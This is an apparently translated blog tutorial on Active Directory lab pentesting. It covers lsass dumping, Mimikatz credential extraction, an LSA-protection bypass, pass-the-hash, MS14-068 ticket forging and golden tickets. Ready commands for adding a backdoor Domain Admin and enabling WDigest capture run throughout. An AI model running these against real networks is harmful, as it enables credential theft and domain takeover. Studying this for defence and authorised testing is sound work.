Active Directory Pentesting: PTT, PTH, and PTC

Tue, 19 Nov 2024 08:58:00 +0800

Learning Active Directory Pentesting

[TOC]

During a penetration test, we often run into a scenario like this: a server in the domain exposes a web service through a port mapping on the router. We exploit a web script vulnerability and gain system privileges on that host. If the client wants us to go further and test the internal network to demonstrate the serious risks facing the company, this is where internal Active Directory penetration comes in. Our usual goal is to gain control of the domain controller, because once the DC falls, the entire internal network is effectively in our hands.

1. Lab Setup

Before we begin, we need to set up a domain environment. Since this is only for teaching and testing, one domain controller and one domain-joined host are enough. I use windows server 2012 and windows 7 here. By compromising windows 7, or simply controlling it directly, we can simulate a compromised host and use it to study Active Directory penetration.

The windows server 2012 machine has an Administrator user (the domain controller’s super-administrator account). Windows7 has a dada user (a member of the Administrators group) and a xiao user (a standard domain user).

2. Information Gathering in the Domain

The first step in every penetration test is information gathering, and a domain is no exception.

① Identify the Environment

Inside the domain, first identify the compromised host’s current internal-network environment, including details such as the topology. The following commands can help you quickly get your bearings.

1
2
3
4
5


route print # View routing information
arp -a # View all devices in the domain
ipconfig /all # Determine whether the host is domain-joined from the DNS suffix and DNS server
ping "DOMAIN_NAME"
net time /domain # View system time and identify the primary domain

During a penetration test, remember to save the data you collect. Do not just glance at it and lose it, and try not to query the same information repeatedly. Every action should be clean and efficient.

② Domain Information

Besides learning about the internal-network environment, we can query domain-related information directly with commands.

1. net view

View devices in the local workgroup/domain environment.

View online hosts in the domain. At this point, we can see the two machines in the domain: the compromised XZM-PC and the domain controller AD.

If error 6118 appears =>

Disable the firewall; 2. enable the services (Computer Browser, Server, and Workstation); 3. reopen CMD.

2. net view /domain

See how many domains currently exist. Here, we can see one domain named MAO.

3. net user /domain

View users in the domain. Besides the usual administrator and guest accounts, we can see a krbtgt user. This account is extremely important, and we will come back to it later.

4. net group /domain

View information about the domain’s groups.

There are quite a few groups here, so I will list a few of the key ones.

*Domain Admins — administrators group

*Domain Computers — hostnames

*Domain Controllers — domain controllers group

*Enterprise Admins — enterprise-level administrators

You can use net group group_name /domain to view the users in a group.

5. whoami /user

Determine your current privileges.

500: administrator
501: guest
1000+: standard user

6. net group “domain controllers” /domain

View the members of the domain controller administrators group (a high-privilege group in the domain).

Domain Admins — domain administrators group (high privilege)
Domain Computers — hosts joined to the domain
Domain Controllers — domain controllers (high privilege)
Domain Users — standard domain users
Enterprise Admins — enterprise administrators (high privilege)

8. systeminfo | findstr “KB”

View patch information.

7. Locate the Domain Controller

The domain controller has the highest privileges in the domain, so it is naturally our primary target. We can locate it using some of the commands introduced above.

Use net user /domain to view accounts in the domain and net group "domain controllers" /domain to view the domain controllers. You can quickly check your own privileges with whoami /user.

3. Local Authentication

① Windows Local Authentication

Before we start attacking, we need to understand how windows authentication works.

From studying the operating system, we know that C:\Windows\System32\config\SAM is the database file that stores host account passwords.

The windows login process is actually quite simple. winlogin.exe starts, and when the user enters an account name and password, they are sent to lsass.exe. lsass.exe converts the plaintext entered by the user into an NTLM hash and compares it with the data stored in the SAM file. If they match, the login succeeds.

Windows Logon is the user login program in the Windows operating system. It manages user login and logout and provides the interface where users enter their account names and passwords, also known as the login page or login screen.

lsass is part of the Microsoft windows security mechanism. It is a critical Windows operating-system process responsible for local security and login policies. It starts automatically when Windows boots and continues running in the background.

② NTLM hash

Of course, windows itself does not store plaintext passwords. The SAM file stores password hashes. During login, the user’s input is first converted into a hash before the comparison is performed.

Hashes are generally stored in two places:

1. The SAM file, stored on the local machine => corresponds to local users
1. The NTDS.DIT file, stored on the domain controller => corresponds to domain users

1. Hashing Process

The plaintext password entered by the user => hexadecimal => unicode => md4 algorithm => NTLM hash. As you can see, the entire process is fairly simple.

2. Stored Password Format

Example: administrator:500:LM hash:NTLM hash

The username comes first, followed by the user’s SID, then the LM hash and NTLM hash.

If the LM Hash begins with AAD3B, the password is empty or has not been set.

LM Hash stands for “LAN Manager Hash.” It is a hashing algorithm Microsoft adopted to improve the security of the Windows operating system, and it is essentially based on DES encryption. Although LM Hash is relatively easy to crack, Windows only disabled it to maintain system compatibility (starting with Windows Vista and Windows Server 2008, Windows disables LM Hash by default). LM Hash plaintext passwords are limited to 14 characters, so if you want to stop using LM Hash, simply set the user’s password to more than 14 characters.

3. lsass.exe

During lateral movement and privilege escalation on an internal network, the most common approach is to dump the lsass.exe process to obtain plaintext passwords or hashes. lsass.exe (Local Security Authority SubsystemService) is a system process used by the Microsoft Windows security mechanism for local security and login policies. Its process space contains important information such as the machine’s domain, local usernames, and passwords. However, you must first obtain high privileges before you can access it.

4. Extracting Passwords from lsass.exe

① Procdump

procdump is a command-line tool mainly used to monitor abnormal CPU activity in applications and create memory dumps. As mentioned above, plaintext and encrypted passwords are both stored in lsass, so procdump can dump lsass’s memory resources. Here are some of its parameters.

1. Relevant Parameters

-ma: Writes a “full” dump file. [Includes all memory (images, mappings, and private memory), as well as all metadata for processes, threads, modules, handles, address spaces, and so on.]
-accepteula: Automatically accepts the Sysinternals license agreement when this command-line option is used.

2. Basic Usage

It is very straightforward: specify the options and the process whose memory you want to dump, then provide an output filename. You immediately get a memory dump file with the .dmp extension. (This requires a command-line window running with administrator privileges.)

1
2
3


procdump.exe -ma -accepteula lsass.exe passwd.dmp # Dump in-memory hashes locally as passwd.dmp

pypykatz lsa minidump ./pass.dmp # This works very well

Normally, we cannot open passwd.dmp directly; opening it in Notepad only shows garbled text. This is where another small tool, Mimikatz, comes in to read passwd.dmp.

② Mimikatz

Mimikatz is a powerful, lightweight debugging tool developed by the French researcher benjamin. It was originally intended for personal testing, but its powerful ability to read plaintext passwords directly from operating systems such as WindowsXP-2012 made it famous in penetration testing. You could call it an essential penetration-testing tool.

1. Relevant Parameters

Mimikatz has many parameters, so I will only cover the commonly used ones here.

1
2
3
4


mimikatz # :: Display help
mimikatz # cls Clear the screen
mimikatz # log Log captured information
mimikatz # hostname View the hostname

privilege module

(This requires a command-line window running with administrator privileges.)

1

mimikatz # privilege::debug Elevate Mimikatz privileges using its built-in exploit against the current host

sekurlsa module

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


1. Extract passwords for users logged on to the current system; elevate Mimikatz privileges first
mimikatz # sekurlsa::logonpasswords Retrieve all account passwords; simpler than using Procdump
2. Capture user NTLM hashes from memory and list LM and NTLM credentials
mimikatz # sekurlsa::msv
3. Load the DMP file and extract plaintext passwords
mimikatz # sekurlsa::minidump passwd.dmp Switch context
mimikatz # sekurlsa::logonpasswords full List all available credentials
4. Export all tickets from the lsass.exe process
mimikatz # sekurlsa::tickets /export
5. List Kerberos credentials
mimikatz # sekurlsa::kerberos Retrieve in-domain Kerberos authentication data, including account passwords
6. Pass the hash
mimikatz # sekurlsa::pth

lsadump module

1
2
3


mimikatz # lsadump::sam Read the SAM file to obtain usernames and NTLM hashes
mimikatz # lsadump::secrets Retrieve the current user's password
mimikatz # lsadump::dcsync /user:krbtgt Retrieve krbtgt user information from the domain controller

kerberos module

1
2
3
4
5
6
7


1. List tickets on the system
mimikatz # kerberos::list List tickets
mimikatz # kerberos::tgt List tickets
2. Clear tickets from the system
mimikatz # kerberos::purge Clear tickets
3. Import a ticket into the system
mimikatz # kerberos::ptc TICKET_PATH

process module

1
2
3


mimikatz # process::start command Start a process
mimikatz # process::stop command Stop a process
mimikatz # process::list List processes

Mimikatz works so well that antivirus software will flag it. If you plan to run Mimikatz on a target machine, first consider whether you need to make it evade detection.

2. Basic Usage

Mimikatz can extract plaintext passwords from memory. After loading the dmp file obtained with procdump using sekurlsa::minidump, you can read passwords with commands such as sekurlsa::logonpasswords full. The result looks like this:

1
2
3


mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

Here, we can see administrator information in the screenshot. Getting this information in a real environment basically means the engagement is over.

3. Advanced Usage

① Use Mimikatz with a dump file created by procdump to extract credentials.

1
2
3


mimikatz # log //Log captured information
mimikatz # sekurlsa::minidump passwd.dmp //Switch context by mounting the DMP file
mimikatz # sekurlsa::logonpasswords //List all available credentials

② Use Mimikatz directly to extract credentials (administrative privileges required).

1
2
3
4


mimikata # log //Log captured information
mimikatz # privilege::debug //Elevate privileges to enable privileged Mimikatz operations
mimikatz # sekurlsa::msv //Extract hashes from memory
mimikatz # sekurlsa::logonpasswords //List all available credentials

With Local Administrator Privileges

Extract Passwords

1
2
3
4
5
6
7
8
9


procdump.exe -accepteula -ma lsass.exe lsass.dmp

mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"

hashdump: post/windows/gather/smart_hashdump
cme smb <ip_range> -u <user> -p <password> -M lsassy
cme smb <ip_range> -u <user> -p '<password>' --sam / --lsa / --ntds

Bypass the LSA Protection Policy to Read Passwords

1
2
3


PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp

mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-" #with mimidriver.sys

Workflow summary:

Obtain the NTLM hash

Use procdump/PPLdump to dump the lsass process
Use mimikatz to analyze the dump file and extract the hash

Choose a path using the NTLM hash:

Crack the hash to obtain the plaintext password
Use the hash directly in a PTH attack (when it cannot be cracked)

Key points:

NTLM hashes are generated the same way on all Windows systems (MD4)
The same password produces the same hash on different machines
PTH can authenticate without the plaintext password
A dump of lsass contains credential information for every logged-in user

In particular:

The hash of the administrator who is currently logged in
Hashes of other logged-in users
Hashes of system service accounts

But keep in mind:

You can only obtain hashes for users who have logged in
Information for users who have never logged in will not be present in lsass

In practice, cracking md4 can also recover the plaintext password.

5. Lab: PTH (pass-the-hash)

① Introduction

Pass-the-hash is a hacker technique in which an attacker uses the hash of a user’s password to authenticate to a remote server and expand their foothold. It is essentially a form of credential stuffing. Once we have an NTLM hash, we can very easily launch a PTH attempt with Mimikatz’s sekurlsa::pth.

Limitation: the hash must remain static (the password must not be changed)
Applicable to: domains/workgroups where a hash can be obtained but not cracked, and where machines on the internal network share the same password.
KB2871997: fixed PTH for standard users, but not administrators. On systems >= win server 2012, plaintext passwords cannot be captured from the lsass process.

Because KB2871997 fixed PTH for standard users, privilege::debug is needed to elevate privileges (from a high-privilege terminal).

② Prerequisites

To use Mimikatz’s sekurlsa::pth module, you need to know at least the following:

PTH target: use commands such as net user /domain to view domain-user information
Domain name: use commands such as net view /domain to view the domain name
NTLM hash: obtain it with procdump and Mimikatz

1
2
3
4


Additional notes:
1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # Enable password capture

2. rundll32 user32.dll,LockWorkStation # Force the lock screen so the user logs in again and the password can be captured from lsass.exe

③ When It Applies

This applies when you do not need the user’s password, only have the domain controller’s NTLM Hash, and cannot crack it.

④ Information Gathering

Find the PTH target => Administrator

View members of the administrators group => choose Administrator as the target

Domain name => MAO

Obtain the administrator’s ntml hash => 570a9a65db8fba761c1008a51d4c95ab

1
2
3


Mimikatz.exe can handle all of this:
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full

⑤ Launch the Attack

Method 1: Direct PTH with Mimikatz

1
2
3
4


sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN_NAME> /ntlm:<ntlm hash> [/run:name]

privilege::debug
sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd

This gives us control of the domain controller. (If all parameters are correct but the attack still fails, try closing the Mimikatz window, start cmd.exe again as administrator, elevate privileges again, and rerun the attack. The command after run is optional; by default, it opens cmd.exe on the domain controller.)

Method 2: Use Credential-Passing Scripts to Obtain a Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


①smbexec.py
python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
smbexec.py administrator:'password'@<target-ip>

②wmiexec.py
python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110
wmiexec.py administrator:'password'@<target-ip>

/opt/impacket/build/scripts-3.12/psexec.py administrator:'password'@10.10.10.97
PsExec.exe \\WindowsServerAD.test.local -u test\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd
PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161
psexec.exe "administrator"@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


1. Can passing a standard user's hash still provide a shell?
2. Does the standard user's hash belong to a domain account or a standard account on the domain controller?
3. If a standard account on the domain controller supports PTH, does creating it there automatically make it a domain account?

1. Passing a standard user's hash:
A shell is possible, but permissions are limited
Only authorized resources are accessible
Administrative operations are unavailable
2. Source of a standard user's hash:
It is the hash of a domain user account
It is not a local account hash
The credential is used for domain authentication
3. Domain accounts and local accounts:
A user created on the domain controller automatically becomes a domain user
Domain users can authenticate within the domain
Local accounts can only be used on their host
Key point: PTH passes a domain account hash, whether the account is an administrator or a standard user.
A shell on the domain controller requires its administrator hash

6. Kerberos Authentication Protocol

Kerberos is a third-party authentication protocol that uses symmetric encryption to provide strong authentication for client/server applications. In Greek mythology, Kerberos is the three-headed hound guarding the gates of Hades. Its three heads represent the three roles in the protocol, as shown below:

The Client accessing the service (the party sending the request)
The Server providing the service (the party receiving the request)
The KDC, or Key Distribution Center, which contains the following two services:

AS, the authentication service (Authentication Server) [dedicated to authenticating the client and issuing the TGT the client uses to access the TGS]
TGS, the ticket authorization service (Ticket Granting Server) [issues the tickets needed throughout authentication and the service ticket the client needs to access the server]

DC (Domain Controller): domain controller
KDC (Key Distribution Center): key distribution center
AS (Authentication Server): authentication server
TGS (Ticket Granting Server): ticket-granting server
TGT (Ticket Granting Ticket): ticket-granting ticket

Authentication Overview

First, the client sends a request to the AS and obtains a TGT.
The client uses the TGT obtained from the AS to send a request to the TGS. After successfully decrypting the TGT, the TGS generates a new ticket and returns it to the client.
The client uses the new ticket returned by the TGS to send a request to the server for authorization.

7. Lab: PTC (pass-the-cache)

If we can obtain a user’s TGT and import it into memory, we can impersonate that user and gain their access privileges.

① MS14-068 Vulnerability

MS14-068 is a Windows vulnerability in the Key Distribution Center (KDC) service. It allows an authenticated user to insert an arbitrary PAC (the structure representing all user privileges) into a Kerberos ticket (TGT). The vulnerability is located in kdcsvc.dll in the domain controller’s Key Distribution Center. A user can obtain a ticket by presenting a kerberos TGT with a modified PAC.

High privileges are required.

Affected Versions

Windows Server 2003, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, and Windows Server 2012 R2
Windows Vista, Windows 7, Windows 8, and Windows 8.1

Patch Number and Exploitation Requirements

Patch number: KB3011780

Exploitation requirements:

Obtain access to a host (a domain-joined host)
Collect the account name, password, SID, and domain information for any user in the computer domain
The MS14-068 patch is not installed

#There is a problem with this tutorial. If you have an administrator account and password, you can probably use PTH. The defining feature of MS14-068 is that a standard domain account can escalate to domain administrator, which is why the vulnerability is so severe. Any standard domain user is enough here.

② Information Gathering

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


1. Domain administrator SID
whoami /all => S-1-5-21-863777703-696496247-1862912240-500

2. Domain administrator plaintext password
mimikatz.exe
sekurlsa::minidump ./passwd.dmp
sekurlsa::logonpasswords full => Admin@123

3. Domain information, including the full domain name
ipconfig /all

Windows is case-insensitive, so both mao.com and MAO.COM work.

③ Exploitation

1. Generate a Domain Administrator Key

1
2
3
4


Use an existing script to obtain a ticket:
ms14-068.exe -u <USERNAME@DOMAIN_NAME> -s <SID> -d <IP_ADDRESS> -p <USER_PASSWORD>

MS14-068.exe -u Administrator@MAO.COM -s S-1-5-21-863777703-696496247-1862912240-500 -d 192.168.126.10 -p Admin@123

2. Import the Generated Ticket into Memory

Then use Mimikatz’s kerberos::ptc module to load the ticket.

1
2
3


mimikatz.exe
privilege::debug
kerberos::ptc TGT_Administrator@MAO.COM.ccache

3. Open an Administrator Terminal with the Current Privileges

Use Mimikatz’s misc::cmd module to open a new window and verify our current privileges.

1
2


misc::cmd
dir \\192.168.126.10\c$

4. Use PsExec.exe to Obtain an Interactive Shell

From the administrator terminal we just created, use PsExec.exe to obtain an interactive shell and create a user belonging to the administrators group.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


A plaintext password can also be used with psexec.exe
PsExec64.exe \\192.168.0.110 -u Administrator -p Admin@123!@# -s cmd.exe

If the ticket is already imported, obtain a shell directly; this step is PTC
PsExec.exe \\192.168.126.10 cmd
ipconfig
whoami
net user carmi carmi@123 /add /domain
net group "Domain Admins" carmi /add /domain
net group "Domain Admins" /domain

PTC on linux

Find ticket cache files:

1
2
3


# Default locations
ls /tmp/krb5cc_*
ls ~/.krb5cc_*

Import the ticket:

1
2
3
4
5


# Set the environment variable; the tool reads KRB5CCNAME, whose value is the cache path
export KRB5CCNAME=/tmp/krb5cc_1000

# View tickets
klist

Use the ticket:

1
2
3


# Impacket tools
psexec.py -k -no-pass test.domain/administrator@dc.test.domain
smbexec.py -k -no-pass test.domain/administrator@dc.test.domain

Main use cases:

Linux joined to a domain environment
Penetration testing inside a domain
Cross-platform attacks

8. Lab: PTT (pass-the-ticket) Golden Ticket

① Introduction

The KDC’s job is to generate a TGT for any user. That raises a question: what would let someone generate a TGT for an arbitrary user? We need to look back at the kerberos authentication process. During windows authentication, the client sends its own information to the KDC. The KDC then uses the NTLM hash of the krbtgt user's password as the encryption key and generates a TGT.

In one sentence: the TGT is generated by the KDC using the hash of the krbtgt user’s password as the key, together with the client’s own information.

So if we obtain the hash of the krbtgt password, can we forge any TGT? Absolutely. However, because krbtgt exists only on the domain controller, using a Golden Ticket (a pass-the-ticket attack) means we must already have compromised the domain controller. A Golden Ticket can therefore be understood as a backdoor.

The Krbtgt user is generated automatically when the domain controller is created.

As long as the krbtgt user’s password is not changed, a Golden Ticket can be used to create ticket information for any user and inject it into memory.

Using a Golden Ticket requires communication with the domain controller.

② Prerequisites

Domain name and domain SID (with the rid removed): obtain them with whoami /user
Username to forge (the target): obtain it using methods such as net user /domain
Hash of the krbtgt user: obtain it using methods such as Mimikatz

③ Information Gathering

Use mimkatz to obtain the krbtgt hash (only this step must be performed on the domain controller) => e798fdc7ba810c372ef7bffcdc8f2d13

Mimkatz can be finicky, and because of issues with the software, directly pasting Mimikatz content into the command line may fail or even crash the program. We can work around that by generating a log.

1
2
3
4


mimikatz.exe
log
privilege::debug
lsadump::dcsync /user:krbtgt

Domain SID (no privileges are required to retrieve it): whoami /user => S-1-5-21-863777703-696496247-1862912240 (the portion after the last hyphen represents the user’s privileges, so we only need the first part)

Username to forge (target): net user /domain => Administrator

Domain name (full domain name): ipconfig /all => mao.com

③ Exploitation

Run these operations from an administrator window.

1. Clear Existing Tickets

Existing tickets must be cleared before generating a ticket. As a result, if ticket generation fails, the host will no longer be able to access information in the domain (it effectively leaves the domain).

After clearing the tickets with kerberos::purge, you can use kerberos::golden to generate a ticket.

1
2
3


mimikatz.exe
privilege::debug
kerberos::purge Clear tickets

2. Generate a Ticket

1
2
3


kerberos::golden /user:<FORGED_USERNAME> /domain:<FULL_DOMAIN_NAME> /krbtgt:<KRBTGT_USER_HASH> /sid:<DOMAIN_SID> /ticket:<OUTPUT_FILENAME.kirbr>

kerberos::golden /user:Administrator /domain:test.local /krbtgt:fc9433a1a38088e6b6b74e2c29cf02bd /sid:S-1-5-21-1304053684-1769385709-786886762-500 /ticket:carmi.kirbr

3. Inject the Ticket

1

kerberos::ptt carmi.kirbr

4. Create a Domain Controller Session

1
2
3
4
5


misc::cmd
whoami
dir \\192.168.126.10\c$
PsExec.exe \\192.168.126.10 cmd
ipconfig

https://blog.csdn.net/m0_55751267/article/details/127990619 explains the principles behind Silver and Golden Tickets.

This blog post: https://xz.aliyun.com/t/13435?time__1311=Gqmxu7G%3D5mq05DK5YK0%3DIouDfxiT277GbD

Mimikatz antivirus bypass: https://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0

References:

https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mimikatz-cheatsheet/#lsa-protection-workaround

Kerberos on MentalityXt

Active Directory Pentesting: PTT, PTH, and PTC

Learning Active Directory Pentesting

1. Lab Setup

2. Information Gathering in the Domain

① Identify the Environment

② Domain Information

1. net view

2. net view /domain

3. net user /domain

4. net group /domain

5. whoami /user

6. net group “domain controllers” /domain

8. systeminfo | findstr “KB”

7. Locate the Domain Controller

3. Local Authentication

① Windows Local Authentication

② NTLM hash

1. Hashing Process

2. Stored Password Format

3. lsass.exe

4. Extracting Passwords from lsass.exe

① Procdump

1. Relevant Parameters

2. Basic Usage

② Mimikatz

1. Relevant Parameters

2. Basic Usage

3. Advanced Usage

With Local Administrator Privileges

Extract Passwords

Bypass the LSA Protection Policy to Read Passwords

5. Lab: PTH (pass-the-hash)

① Introduction

② Prerequisites

③ When It Applies

④ Information Gathering

⑤ Launch the Attack

Method 1: Direct PTH with Mimikatz

Method 2: Use Credential-Passing Scripts to Obtain a Shell

6. Kerberos Authentication Protocol

7. Lab: PTC (pass-the-cache)

① MS14-068 Vulnerability

② Information Gathering

③ Exploitation

1. Generate a Domain Administrator Key

2. Import the Generated Ticket into Memory

3. Open an Administrator Terminal with the Current Privileges

4. Use PsExec.exe to Obtain an Interactive Shell

PTC on linux

8. Lab: PTT (pass-the-ticket) Golden Ticket

① Introduction

② Prerequisites

③ Information Gathering

③ Exploitation

1. Clear Existing Tickets

2. Generate a Ticket

3. Inject the Ticket

4. Create a Domain Controller Session